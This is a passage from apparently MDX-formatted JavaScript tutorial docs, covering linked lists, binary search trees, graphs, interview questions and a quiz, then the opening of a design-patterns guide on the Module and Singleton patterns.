│\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Linked List vs Array:**\n\n| Operation | Array | Linked List |\n|-----------|-------|-------------|\n| Access by index | O(1) | O(n) |\n| Insert at beginning | O(n) | O(1) |\n| Insert at end | O(1) | O(1) with tail pointer |\n| Insert in middle | O(n) | O(1) if you have the node |\n| Search | O(n) | O(n) |\n\n**Implementation:**\n\n```javascript\nclass Node {\n  constructor(value) {\n    this.value = value\n    this.next = null\n  }\n}\n\nclass LinkedList {\n  constructor() {\n    this.head = null\n    this.size = 0\n  }\n  \n  // Add to beginning - O(1)\n  prepend(value) {\n    const node = new Node(value)\n    node.next = this.head\n    this.head = node\n    this.size++\n  }\n  \n  // Add to end - O(n)\n  append(value) {\n    const node = new Node(value)\n    \n    if (!this.head) {\n      this.head = node\n    } else {\n      let current = this.head\n      while (current.next) {\n        current = current.next\n      }\n      current.next = node\n    }\n    this.size++\n  }\n  \n  // Find a value - O(n)\n  find(value) {\n    let current = this.head\n    while (current) {\n      if (current.value === value) {\n        return current\n      }\n      current = current.next\n    }\n    return null\n  }\n  \n  // Convert to array for easy viewing\n  toArray() {\n    const result = []\n    let current = this.head\n    while (current) {\n      result.push(current.value)\n      current = current.next\n    }\n    return result\n  }\n}\n\n// Usage\nconst list = new LinkedList()\nlist.prepend(1)\nlist.append(2)\nlist.append(3)\nlist.prepend(0)\nlist.toArray()  // [0, 1, 2, 3]\nlist.find(2)    // Node { value: 2, next: Node }\n```\n\n**When to use Linked Lists:**\n- Frequent insertions/deletions at the beginning\n- You don't need random access by index\n- Implementing queues (for O(1) dequeue)\n\n---\n\n### Binary Search Tree\n\nA **Binary Search Tree (BST)** is a hierarchical structure where each node has at most two children. The left child is smaller, the right child is larger.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        BINARY SEARCH TREE                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│                              ┌────┐                                      │\n│                              │ 10 │  ◄─ root                             │\n│                              └────┘                                      │\n│                             /      \\                                     │\n│                        ┌────┐      ┌────┐                                │\n│                        │ 5  │      │ 15 │                                │\n│                        └────┘      └────┘                                │\n│                       /    \\           \\                                 │\n│                  ┌────┐  ┌────┐      ┌────┐                              │\n│                  │ 3  │  │ 7  │      │ 20 │                              │\n│                  └────┘  └────┘      └────┘                              │\n│                                                                          │\n│   Rule: left child < parent < right child                                │\n│   This makes searching fast: just go left or right!                      │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Time Complexity:**\n\n| Operation | Average | Worst (unbalanced) |\n|-----------|---------|-------------------|\n| Search | O(log n) | O(n) |\n| Insert | O(log n) | O(n) |\n| Delete | O(log n) | O(n) |\n\n**Implementation:**\n\n```javascript\nclass TreeNode {\n  constructor(value) {\n    this.value = value\n    this.left = null\n    this.right = null\n  }\n}\n\nclass BinarySearchTree {\n  constructor() {\n    this.root = null\n  }\n  \n  insert(value) {\n    const node = new TreeNode(value)\n    \n    if (!this.root) {\n      this.root = node\n      return\n    }\n    \n    let current = this.root\n    while (true) {\n      if (value < current.value) {\n        // Go left\n        if (!current.left) {\n          current.left = node\n          return\n        }\n        current = current.left\n      } else {\n        // Go right\n        if (!current.right) {\n          current.right = node\n          return\n        }\n        current = current.right\n      }\n    }\n  }\n  \n  search(value) {\n    let current = this.root\n    \n    while (current) {\n      if (value === current.value) {\n        return current\n      }\n      current = value < current.value ? current.left : current.right\n    }\n    \n    return null\n  }\n  \n  // In-order traversal: left, root, right (gives sorted order)\n  inOrder(node = this.root, result = []) {\n    if (node) {\n      this.inOrder(node.left, result)\n      result.push(node.value)\n      this.inOrder(node.right, result)\n    }\n    return result\n  }\n}\n\n// Usage\nconst bst = new BinarySearchTree()\nbst.insert(10)\nbst.insert(5)\nbst.insert(15)\nbst.insert(3)\nbst.insert(7)\nbst.insert(20)\n\nbst.search(7)   // TreeNode { value: 7, ... }\nbst.search(100) // null\nbst.inOrder()   // [3, 5, 7, 10, 15, 20] - sorted!\n```\n\n**When to use BST:**\n- You need fast search, insert, and delete (O(log n) average)\n- Data needs to stay sorted\n- Implementing autocomplete, spell checkers\n\n---\n\n### Graph\n\n<Accordion title=\"Graph (Brief Overview)\">\n\nA **Graph** consists of nodes (vertices) connected by edges. Think social networks (people connected by friendships) or maps (cities connected by roads).\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                              GRAPH                                       │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│              A ─────── B                                                 │\n│             /│\\        │                                                 │\n│            / │ \\       │                                                 │\n│           /  │  \\      │                                                 │\n│          C   │   D ────┘                                                 │\n│           \\  │  /                                                        │\n│            \\ │ /                                                         │\n│             \\│/                                                          │\n│              E                                                           │\n│                                                                          │\n│   Adjacency List representation:                                         │\n│   A: [B, C, D, E]                                                        │\n│   B: [A, D]                                                              │\n│   C: [A, E]                                                              │\n│   ...                                                                    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Basic Implementation (Adjacency List):**\n\n```javascript\nclass Graph {\n  constructor() {\n    this.adjacencyList = new Map()\n  }\n  \n  addVertex(vertex) {\n    if (!this.adjacencyList.has(vertex)) {\n      this.adjacencyList.set(vertex, [])\n    }\n  }\n  \n  addEdge(v1, v2) {\n    this.adjacencyList.get(v1).push(v2)\n    this.adjacencyList.get(v2).push(v1)  // For undirected graph\n  }\n  \n  // Breadth-First Search - uses Queue (FIFO)\n  bfs(start) {\n    const visited = new Set()\n    const queue = [start]\n    const result = []\n    \n    while (queue.length) {\n      const vertex = queue.shift()\n      if (visited.has(vertex)) continue\n      \n      visited.add(vertex)\n      result.push(vertex)\n      \n      for (const neighbor of this.adjacencyList.get(vertex)) {\n        if (!visited.has(neighbor)) {\n          queue.push(neighbor)\n        }\n      }\n    }\n    \n    return result\n  }\n  \n  // Depth-First Search - uses Stack (LIFO) via recursion\n  dfs(start, visited = new Set(), result = []) {\n    if (visited.has(start)) return result\n    \n    visited.add(start)\n    result.push(start)\n    \n    for (const neighbor of this.adjacencyList.get(start)) {\n      this.dfs(neighbor, visited, result)\n    }\n    \n    return result\n  }\n}\n\n// Usage\nconst graph = new Graph()\ngraph.addVertex('A')\ngraph.addVertex('B')\ngraph.addVertex('C')\ngraph.addEdge('A', 'B')\ngraph.addEdge('A', 'C')\ngraph.addEdge('B', 'C')\ngraph.bfs('A')  // ['A', 'B', 'C'] - level by level\ngraph.dfs('A')  // ['A', 'B', 'C'] - goes deep first\n```\n\n**Real-world uses:**\n- Social networks (friend connections)\n- Maps and navigation (shortest path)\n- Recommendation systems\n- Dependency resolution (package managers)\n\n</Accordion>\n\n---\n\n## Choosing the Right Data Structure\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                    WHICH DATA STRUCTURE SHOULD I USE?                    │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   Need ordered data with index access?                                   │\n│      └──► ARRAY                                                          │\n│                                                                          │\n│   Need key-value pairs with string keys?                                 │\n│      └──► OBJECT (static data) or MAP (dynamic)                          │\n│                                                                          │\n│   Need key-value with any type as key?                                   │\n│      └──► MAP                                                            │\n│                                                                          │\n│   Need unique values only?                                               │\n│      └──► SET                                                            │\n│                                                                          │\n│   Need LIFO (last in, first out)?                                        │\n│      └──► STACK                                                          │\n│                                                                          │\n│   Need FIFO (first in, first out)?                                       │\n│      └──► QUEUE                                                          │\n│                                                                          │\n│   Need fast insert/delete at beginning?                                  │\n│      └──► LINKED LIST                                                    │\n│                                                                          │\n│   Need fast search + sorted data?                                        │\n│      └──► BINARY SEARCH TREE                                             │\n│                                                                          │\n│   Modeling relationships/connections?                                    │\n│      └──► GRAPH                                                          │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n| Use Case | Best Structure | Why |\n|----------|----------------|-----|\n| Todo list | Array | Ordered, index access |\n| User settings | Object | String keys, static |\n| Word frequency counter | Map | Easy increment, any key |\n| Tag system | Set | Unique values |\n| Browser back button | Stack | LIFO |\n| Task scheduler | Queue | FIFO |\n| Playlist with prev/next | Linked List (doubly) | O(1) traversal |\n| Dictionary/autocomplete | Trie | Fast prefix search |\n| Social network | Graph | Connections |\n\n---\n\n## Common Interview Questions\n\nInterview questions often test your understanding of data structures. Here are patterns you'll encounter:\n\n<AccordionGroup>\n  <Accordion title=\"Array: Two Sum\">\n    **Problem:** Find two numbers in an array that add up to a target.\n    \n    **Approach:** Use a Map to store numbers you've seen. For each number, check if `target - number` exists in the Map.\n    \n    ```javascript\n    function twoSum(nums, target) {\n      const seen = new Map()\n      \n      for (let i = 0; i < nums.length; i++) {\n        const complement = target - nums[i]\n        \n        if (seen.has(complement)) {\n          return [seen.get(complement), i]\n        }\n        \n        seen.set(nums[i], i)\n      }\n      \n      return []\n    }\n    \n    twoSum([2, 7, 11, 15], 9)  // [0, 1]\n    ```\n    \n    **Why Map?** O(1) lookup turns O(n²) brute force into O(n).\n  </Accordion>\n  \n  <Accordion title=\"Stack: Valid Parentheses\">\n    **Problem:** Check if a string of brackets is valid: `()[]{}`.\n    \n    **Approach:** Push opening brackets onto stack. When you see a closing bracket, pop and check if it matches.\n    \n    ```javascript\n    function isValid(s) {\n      const stack = []\n      const pairs = { ')': '(', ']': '[', '}': '{' }\n      \n      for (const char of s) {\n        if (char in pairs) {\n          // Closing bracket - check if it matches\n          if (stack.pop() !== pairs[char]) {\n            return false\n          }\n        } else {\n          // Opening bracket - push to stack\n          stack.push(char)\n        }\n      }\n      \n      return stack.length === 0\n    }\n    \n    isValid('([{}])')  // true\n    isValid('([)]')    // false\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Linked List: Reverse\">\n    **Problem:** Reverse a linked list.\n    \n    **Approach:** Keep track of previous, current, and next. Reverse pointers as you go.\n    \n    ```javascript\n    function reverseList(head) {\n      let prev = null\n      let current = head\n      \n      while (current) {\n        const next = current.next  // Save next\n        current.next = prev        // Reverse pointer\n        prev = current             // Move prev forward\n        current = next             // Move current forward\n      }\n      \n      return prev  // New head\n    }\n    ```\n    \n    **Key insight:** You need three pointers to avoid losing references.\n  </Accordion>\n  \n  <Accordion title=\"Linked List: Detect Cycle\">\n    **Problem:** Determine if a linked list has a cycle.\n    \n    **Approach:** Floyd's Tortoise and Hare - use two pointers, one fast (2 steps) and one slow (1 step). If they meet, there's a cycle.\n    \n    ```javascript\n    function hasCycle(head) {\n      let slow = head\n      let fast = head\n      \n      while (fast && fast.next) {\n        slow = slow.next\n        fast = fast.next.next\n        \n        if (slow === fast) {\n          return true  // They met - cycle exists\n        }\n      }\n      \n      return false  // Fast reached end - no cycle\n    }\n    ```\n    \n    **Why this works:** In a cycle, the fast pointer will eventually \"lap\" the slow pointer.\n  </Accordion>\n  \n  <Accordion title=\"Tree: Maximum Depth\">\n    **Problem:** Find the maximum depth of a binary tree.\n    \n    **Approach:** Recursively find the depth of left and right subtrees, take the max.\n    \n    ```javascript\n    function maxDepth(root) {\n      if (!root) return 0\n      \n      const leftDepth = maxDepth(root.left)\n      const rightDepth = maxDepth(root.right)\n      \n      return Math.max(leftDepth, rightDepth) + 1\n    }\n    ```\n    \n    **Base case:** Empty tree has depth 0.\n  </Accordion>\n  \n  <Accordion title=\"Queue: Implement with Two Stacks\">\n    **Problem:** Implement a queue using only stacks.\n    \n    **Approach:** Use two stacks. Push to stack1. For dequeue, if stack2 is empty, pour all of stack1 into stack2 (reversing order), then pop from stack2.\n    \n    ```javascript\n    class QueueFromStacks {\n      constructor() {\n        this.stack1 = []  // For enqueue\n        this.stack2 = []  // For dequeue\n      }\n      \n      enqueue(item) {\n        this.stack1.push(item)\n      }\n      \n      dequeue() {\n        if (this.stack2.length === 0) {\n          // Pour stack1 into stack2\n          while (this.stack1.length) {\n            this.stack2.push(this.stack1.pop())\n          }\n        }\n        return this.stack2.pop()\n      }\n    }\n    ```\n    \n    **Amortized O(1):** Each element is moved at most twice.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Arrays** are great for ordered data with index access. Push/pop are O(1), but shift/unshift are O(n).\n\n2. **Objects** store string-keyed data. Use them for static configuration and entity data.\n\n3. **Map** is the better choice when keys aren't strings, you need `.size`, or you add/delete frequently.\n\n4. **Set** stores unique values. The `[...new Set(arr)]` trick removes duplicates instantly.\n\n5. **Stack (LIFO)** is perfect for undo/redo, parsing expressions, and DFS traversal.\n\n6. **Queue (FIFO)** is ideal for task scheduling and BFS traversal. Use a linked list for O(1) dequeue.\n\n7. **Linked Lists** excel at insertions/deletions but lack random access. Use when you frequently modify the beginning.\n\n8. **Binary Search Trees** give O(log n) search/insert/delete on average. They keep data sorted.\n\n9. **Choose based on your most frequent operation.** What makes one structure fast makes another slow.\n\n10. **Interview tip:** When you need O(1) lookup, think Map or Set. When you need to track order of operations, think Stack or Queue.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: When would you use a Map instead of an Object?\">\n    **Answer:**\n    \n    Use Map when:\n    - Keys are not strings (objects, numbers, etc.)\n    - You need to know the size frequently (`.size` vs `Object.keys().length`)\n    - You add/delete keys often (Map is optimized for this)\n    - You need guaranteed insertion order\n    - You want to avoid prototype chain issues\n    \n    Use Object when:\n    - Keys are known strings\n    - You're working with JSON data\n    - You need object destructuring or spread syntax\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why is array shift() O(n) but pop() O(1)?\">\n    **Answer:**\n    \n    `pop()` removes from the end. No other elements need to move.\n    \n    `shift()` removes from the beginning. Every remaining element must be re-indexed:\n    - Element at index 1 moves to 0\n    - Element at index 2 moves to 1\n    - ...and so on\n    \n    This is why Queue implementations with arrays have O(n) dequeue. For O(1), use a linked list or object with head/tail pointers.\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What's the difference between a Stack and a Queue?\">\n    **Answer:**\n    \n    **Stack (LIFO):** Last In, First Out\n    - Like a stack of plates - you take from the top\n    - `push()` and `pop()` operate on the same end\n    - Use for: undo/redo, back button, recursion\n    \n    **Queue (FIFO):** First In, First Out  \n    - Like a line at a store - first person in line is served first\n    - `enqueue()` adds to back, `dequeue()` removes from front\n    - Use for: task scheduling, BFS, print queues\n  </Accordion>\n  \n  <Accordion title=\"Question 4: When would a Linked List be better than an Array?\">\n    **Answer:**\n    \n    Linked List wins when:\n    - You frequently insert/delete at the beginning (O(1) vs O(n))\n    - You don't need random access by index\n    - You're implementing a queue (O(1) dequeue)\n    - Memory is fragmented (nodes can be anywhere)\n    \n    Array wins when:\n    - You need index-based access\n    - You iterate sequentially often\n    - You mostly add/remove from the end\n    - You need `.length`, `.map()`, `.filter()`, etc.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What makes Binary Search Trees fast?\">\n    **Answer:**\n    \n    BSTs use the rule: left < parent < right. This means:\n    \n    - To find a value, compare with root\n    - If smaller, go left; if larger, go right\n    - Each comparison eliminates half the remaining nodes\n    \n    This gives O(log n) search, insert, and delete (on average).\n    \n    **Catch:** If you insert sorted data, the tree becomes a linked list (all nodes on one side), and operations become O(n). Self-balancing trees (AVL, Red-Black) solve this.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How would you remove duplicates from an array?\">\n    **Answer:**\n    \n    The cleanest way is with Set:\n    \n    ```javascript\n    const unique = [...new Set(array)]\n    ```\n    \n    This works because:\n    1. `new Set(array)` creates a Set (which only keeps unique values)\n    2. `[...set]` spreads the Set back into an array\n    \n    Time complexity: O(n) - each element is processed once.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What are data structures in JavaScript?\">\n    Data structures are ways of organizing and storing data so it can be accessed and modified efficiently. JavaScript provides several built-in structures — Array, Object, Map, Set, WeakMap, and WeakSet — and you can implement others like stacks, queues, and linked lists using classes. Choosing the right structure depends on your most frequent operations.\n  </Accordion>\n\n  <Accordion title=\"When should I use a Map instead of an Object in JavaScript?\">\n    Use a Map when your keys are not strings (objects, functions, numbers), when you need guaranteed insertion order, when you frequently add and delete keys, or when you need the `.size` property. MDN recommends Map over Object for frequent additions and removals of key-value pairs due to better performance characteristics.\n  </Accordion>\n\n  <Accordion title=\"Are JavaScript arrays actually arrays?\">\n    Not in the traditional computer science sense. As the V8 blog explains, JavaScript engines use multiple internal representations. Dense arrays with sequential numeric keys are stored as contiguous memory (like C arrays), but sparse arrays or arrays with mixed types may be stored as hash tables internally. This is why V8 optimizes differently based on how you use arrays.\n  </Accordion>\n\n  <Accordion title=\"How do I choose the right data structure for my problem?\">\n    Consider your most frequent operations. If you need fast lookups by key, use a Map or Object. If you need to track unique values, use a Set. If order matters and you access by index, use an Array. If you need fast insertion and deletion at both ends, consider a linked list or deque implementation.\n  </Accordion>\n\n  <Accordion title=\"What is the time complexity of common JavaScript data structure operations?\">\n    Array access by index is O(1), but `indexOf()` is O(n). Object, Map, and Set lookups are all O(1). Array `push()`/`pop()` are O(1), but `shift()`/`unshift()` are O(n) because all elements must be re-indexed. Understanding these complexities, as outlined in the ECMAScript specification, helps you avoid performance bottlenecks.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Algorithms & Big O\" icon=\"gauge-high\" href=\"/concepts/algorithms-big-o\">\n    Understanding time complexity helps you choose the right data structure\n  </Card>\n  <Card title=\"Factories & Classes\" icon=\"industry\" href=\"/concepts/factories-classes\">\n    The class syntax used to implement data structures\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"function\" href=\"/concepts/higher-order-functions\">\n    Array methods like map, filter, and reduce\n  </Card>\n  <Card title=\"Recursion\" icon=\"arrow-rotate-left\" href=\"/concepts/recursion\">\n    Essential for tree and graph traversal algorithms\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Array — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array\">\n    Complete reference for JavaScript arrays\n  </Card>\n  <Card title=\"Object — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object\">\n    Documentation for Object methods and properties\n  </Card>\n  <Card title=\"Map — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map\">\n    Guide to the Map collection type\n  </Card>\n  <Card title=\"Set — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set\">\n    Documentation for Set and its new ES2024 methods\n  </Card>\n  <Card title=\"WeakMap — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap\">\n    When to use WeakMap for memory management\n  </Card>\n  <Card title=\"Data Structures Guide — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Data_structures\">\n    MDN's overview of JavaScript data types and structures\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Map and Set — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/map-set\">\n    The clearest explanation of Map and Set with interactive examples. Covers WeakMap and WeakSet too.\n  </Card>\n  <Card title=\"JavaScript Algorithms and Data Structures\" icon=\"newspaper\" href=\"https://github.com/trekhleb/javascript-algorithms\">\n    Oleksii Trekhleb's legendary GitHub repo with implementations of every data structure and algorithm in JavaScript. Over 180k stars for good reason.\n  </Card>\n  <Card title=\"Data Structures in JavaScript\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/data-structures-in-javascript-with-examples/\">\n    freeCodeCamp's practical guide covering arrays through graphs with real-world examples you can follow along with.\n  </Card>\n  <Card title=\"Itsy Bitsy Data Structures\" icon=\"newspaper\" href=\"https://github.com/jamiebuilds/itsy-bitsy-data-structures\">\n    Jamie Kyle's annotated source code explaining data structures in ~200 lines. Perfect if you learn by reading well-commented code.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Data Structures and Algorithms in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Gj5qBheGOEo&list=PLWKjhJtqVAbkso-IbgiiP48n-O-JQA9PJ\">\n    freeCodeCamp's complete 8-hour course covering everything from Big O to graph algorithms. Great for interview prep.\n  </Card>\n  <Card title=\"JavaScript Data Structures: Getting Started\" icon=\"video\" href=\"https://www.youtube.com/watch?v=41GSinwoMYA\">\n    Academind's beginner-friendly introduction focusing on when and why to use each structure, not just how.\n  </Card>\n  <Card title=\"Data Structures Easy to Advanced\" icon=\"video\" href=\"https://www.youtube.com/watch?v=RBSGKlAvoiM\">\n    William Fiset's comprehensive course with animations that make complex structures like trees and graphs click.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/design-patterns.mdx",
    "content": "---\ntitle: \"Design Patterns\"\nsidebarTitle: \"Design Patterns: Reusable Solutions\"\ndescription: \"Learn JavaScript design patterns like Module, Singleton, Observer, Factory, Proxy, and Decorator. Understand when to use each pattern and avoid common pitfalls.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Advanced Topics\"\n\"article:tag\": \"design patterns, singleton, observer, factory, proxy, decorator, software design\"\n---\n\nEver find yourself solving the same problem over and over? What if experienced developers already figured out the best solutions to these recurring challenges?\n\n```javascript\n// The Observer pattern — notify multiple listeners when something happens\nconst newsletter = {\n  subscribers: [],\n  \n  subscribe(callback) {\n    this.subscribers.push(callback)\n  },\n  \n  publish(article) {\n    this.subscribers.forEach(callback => callback(article))\n  }\n}\n\n// Anyone can subscribe\nnewsletter.subscribe(article => console.log(`New article: ${article}`))\nnewsletter.subscribe(article => console.log(`Saving \"${article}\" for later`))\n\n// When we publish, all subscribers get notified\nnewsletter.publish(\"Design Patterns in JavaScript\")\n// \"New article: Design Patterns in JavaScript\"\n// \"Saving \"Design Patterns in JavaScript\" for later\"\n```\n\n**Design patterns** are proven solutions to common problems in software design. They're not code you copy-paste. They're templates, blueprints, or recipes that you adapt to solve specific problems in your own code. Learning patterns gives you a vocabulary to discuss solutions with other developers and helps you recognize when a well-known solution fits your problem.\n\n<Info>\n**What you'll learn in this guide:**\n- What design patterns are and why they matter\n- The Module pattern for organizing code with private state\n- The Singleton pattern (and why it's often unnecessary in JavaScript)\n- The Factory pattern for creating objects dynamically\n- The Observer pattern for event-driven programming\n- The Proxy pattern for controlling object access\n- The Decorator pattern for adding behavior without modification\n- How to choose the right pattern for your problem\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Factories and Classes](/concepts/factories-classes) and [IIFE, Modules & Namespaces](/concepts/iife-modules). Design patterns build on these object-oriented and modular programming concepts.\n</Warning>\n\n---\n\n## The Toolkit Analogy\n\nThink of design patterns like specialized tools in a toolkit. A general-purpose hammer works for many tasks, but sometimes you need a specific tool: a Phillips screwdriver for certain screws, a wrench for bolts, or pliers for gripping.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     DESIGN PATTERNS TOOLKIT                              │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   CREATIONAL                 STRUCTURAL               BEHAVIORAL         │\n│   ───────────                ──────────               ──────────         │\n│   How objects               How objects              How objects         │\n│   are created               are composed             communicate         │\n│                                                                          │\n│   ┌─────────────┐           ┌─────────────┐         ┌─────────────┐     │\n│   │  Singleton  │           │   Proxy     │         │  Observer   │     │\n│   │  Factory    │           │  Decorator  │         │             │     │\n│   └─────────────┘           └─────────────┘         └─────────────┘     │\n│                                                                          │\n│   Use when you need         Use when you need       Use when objects    │\n│   to control object         to wrap or extend       need to react to    │\n│   creation                  objects                 changes in others   │\n│                                                                          │\n│   ┌─────────────────────────────────────────────────────────────────┐   │\n│   │  MODULE (JS-specific) — Encapsulates code with private state    │   │\n│   └─────────────────────────────────────────────────────────────────┘   │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nYou don't use every tool for every job. Similarly, you don't use every pattern in every project. The skill is recognizing when a pattern fits your problem.\n\n---\n\n## What Are Design Patterns?\n\nDesign patterns are typical solutions to commonly occurring problems in software design. The term was popularized by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides — the \"Gang of Four\" (GoF) — in their 1994 book *[Design Patterns: Elements of Reusable Object-Oriented Software](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612)*. They catalogued 23 patterns that developers kept reinventing, and the book has sold over 500,000 copies worldwide.\n\n### Why JavaScript Is Different\n\nThe original GoF patterns were written for languages like C++ and Smalltalk. As Addy Osmani explains in *[Learning JavaScript Design Patterns](https://www.amazon.com/Learning-JavaScript-Design-Patterns-Developers/dp/1098139879)*, JavaScript is fundamentally different:\n\n| Feature | Impact on Patterns |\n|---------|-------------------|\n| **First-class functions** | Many patterns simplify to just passing functions around |\n| **Prototypal inheritance** | No need for complex class hierarchies |\n| **ES Modules** | Built-in module system replaces manual Module pattern |\n| **Dynamic typing** | No need for interface abstractions |\n| **Closures** | Natural way to create private state |\n\nThis means some classical patterns are overkill in JavaScript, while others become more elegant. We'll focus on the patterns that are genuinely useful in modern JavaScript.\n\n### The Three Categories\n\nThe original GoF patterns are grouped into three categories:\n\n1. **Creational Patterns** — Control how objects are created\n   - Singleton, Factory Method, Abstract Factory, Builder, Prototype\n\n2. **Structural Patterns** — Control how objects are composed\n   - Proxy, Decorator, Adapter, Facade, Bridge, Composite, Flyweight\n\n3. **Behavioral Patterns** — Control how objects communicate\n   - Observer, Strategy, Command, Mediator, Iterator, State, and others\n\n<Note>\n**JavaScript-specific patterns:** The **Module pattern** isn't one of the original 23 GoF patterns. It's a JavaScript idiom that emerged to solve JavaScript-specific problems (like the lack of built-in modules before ES6). We include it here because it's essential for JavaScript developers.\n</Note>\n\nWe'll cover six patterns that are particularly useful in JavaScript: **Module** (JS-specific), **Singleton**, **Factory**, **Observer**, **Proxy**, and **Decorator**.\n\n---\n\n## The Module Pattern\n\nThe **Module pattern** encapsulates code into reusable units with private and public parts. Before ES6 modules existed, developers used IIFEs (Immediately Invoked Function Expressions) to create this pattern. Today, JavaScript has built-in [ES Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) that provide this naturally.\n\n### ES6 Modules: The Modern Approach\n\nEach file is its own module. Variables are private unless you [`export`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export) them:\n\n```javascript\n// counter.js — A module with private state\nlet count = 0  // Private — not exported, not accessible outside\n\nexport function increment() {\n  count++\n  return count\n}\n\nexport function decrement() {\n  count--\n  return count\n}\n\nexport function getCount() {\n  return count\n}\n\n// main.js — Using the module\nimport { increment, getCount } from './counter.js'\n\nincrement()\nincrement()\nconsole.log(getCount())  // 2\n\n// Trying to access private state\n// console.log(count)  // ReferenceError: count is not defined\n```\n\n### The Classic IIFE Module Pattern\n\nBefore ES6, developers used closures to create modules:\n\n```javascript\n// The revealing module pattern using IIFE\nconst Counter = (function() {\n  // Private variables and functions\n  let count = 0\n  \n  function logChange(action) {\n    console.log(`Counter ${action}: ${count}`)\n  }\n  \n  // Public API — \"revealed\" by returning an object\n  return {\n    increment() {\n      count++\n      logChange('incremented')\n      return count\n    },\n    decrement() {\n      count--\n      logChange('decremented')\n      return count\n    },\n    getCount() {\n      return count\n    }\n  }\n})()\n\nCounter.increment()  // \"Counter incremented: 1\"\nCounter.increment()  // \"Counter incremented: 2\"\nconsole.log(Counter.getCount())  // 2\n\n// Private members are truly private\nconsole.log(Counter.count)       // undefined\nconsole.log(Counter.logChange)   // undefined\n```\n\n### When to Use the Module Pattern\n\n<AccordionGroup>\n  <Accordion title=\"Organizing related functionality\">\n    Group related functions and data together. A `UserService` module might contain `login()`, `logout()`, `getCurrentUser()`, and private token storage.\n  </Accordion>\n  \n  <Accordion title=\"Hiding implementation details\">\n    Expose only what consumers need. Internal helper functions, validation logic, and caching mechanisms stay private.\n  </Accordion>\n  \n  <Accordion title=\"Avoiding global namespace pollution\">\n    Instead of 50 global functions, you have one module export. This prevents naming collisions with other code.\n  </Accordion>\n</AccordionGroup>\n\n<Tip>\n**Modern JavaScript:** Use ES6 modules (`import`/`export`) for new projects. The IIFE pattern is mainly for legacy code or environments without module support. See [IIFE, Modules & Namespaces](/concepts/iife-modules) for a deeper dive.\n</Tip>\n\n---\n\n## The Singleton Pattern\n\nThe **Singleton pattern** ensures a class has only one instance and provides a global access point to that instance. According to [Refactoring Guru](https://refactoring.guru/design-patterns/singleton), it solves two problems: guaranteeing a single instance and providing global access to it.\n\n### JavaScript Implementation\n\n```javascript\n// Singleton using Object.freeze — immutable configuration\nconst Config = {\n  apiUrl: 'https://api.example.com',\n  timeout: 5000,\n  debug: false\n}\n\nObject.freeze(Config)  // Prevent all modifications\n\n// Usage anywhere in your app\nconsole.log(Config.apiUrl)  // \"https://api.example.com\"\n\n// Attempting to modify throws an error in strict mode (silently fails otherwise)\nConfig.apiUrl = 'https://evil.com'\nconsole.log(Config.apiUrl)  // Still \"https://api.example.com\"\n\nConfig.debug = true\nconsole.log(Config.debug)   // Still false — frozen objects are immutable\n```\n\n### Class-Based Singleton\n\n```javascript\nlet instance = null\n\nclass Database {\n  constructor() {\n    if (instance) {\n      return instance  // Return existing instance\n    }\n    \n    this.connection = null\n    instance = this\n  }\n  \n  connect(url) {\n    if (!this.connection) {\n      this.connection = `Connected to ${url}`\n      console.log(this.connection)\n    }\n    return this.connection\n  }\n}\n\nconst db1 = new Database()\nconst db2 = new Database()\n\nconsole.log(db1 === db2)  // true — Same instance!\n\ndb1.connect('mongodb://localhost')  // \"Connected to 